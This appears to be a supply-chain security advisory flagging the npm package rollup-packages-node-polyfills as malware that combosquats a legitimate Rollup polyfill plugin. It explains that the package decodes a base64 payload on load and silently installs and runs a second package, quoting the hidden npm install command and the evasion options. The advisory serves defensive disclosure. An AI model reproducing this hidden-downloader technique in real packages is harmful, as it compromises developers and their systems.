LWA-2026-7073 MAL-2026-12428 ↗ confirmed malware

rollup-packages-node-polyfills@0.0.1

Malicious code in rollup-packages-node-polyfills (npm)

T1195.002 · Compromise Software Supply ChainT1059.007 · JavaScriptT1105 · Ingress Tool Transfer

Analysis

rollup-packages-node-polyfills is a combosquat of the legitimate rollup-plugin-polyfill-node. At require-time, dist/index.js decodes a base64 payload that silently runs "npm install ambera --no-save --silent --no-audit --no-fund" via child_process.spawn with stdio:ignore and windowsHide:true, then requires the installed "ambera" package and calls its getPlugin() method. This is a remote-package downloader: the ambera package is not currently on the registry, but any future publish would be silently installed and executed on every require of this package. The package has no lifecycle hooks — the payload runs on module load.

analyzed by
Leitwacht
first seen
Jul 23, 2026, 08:09 PM
analyzed
Jul 23, 2026, 08:11 PM

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.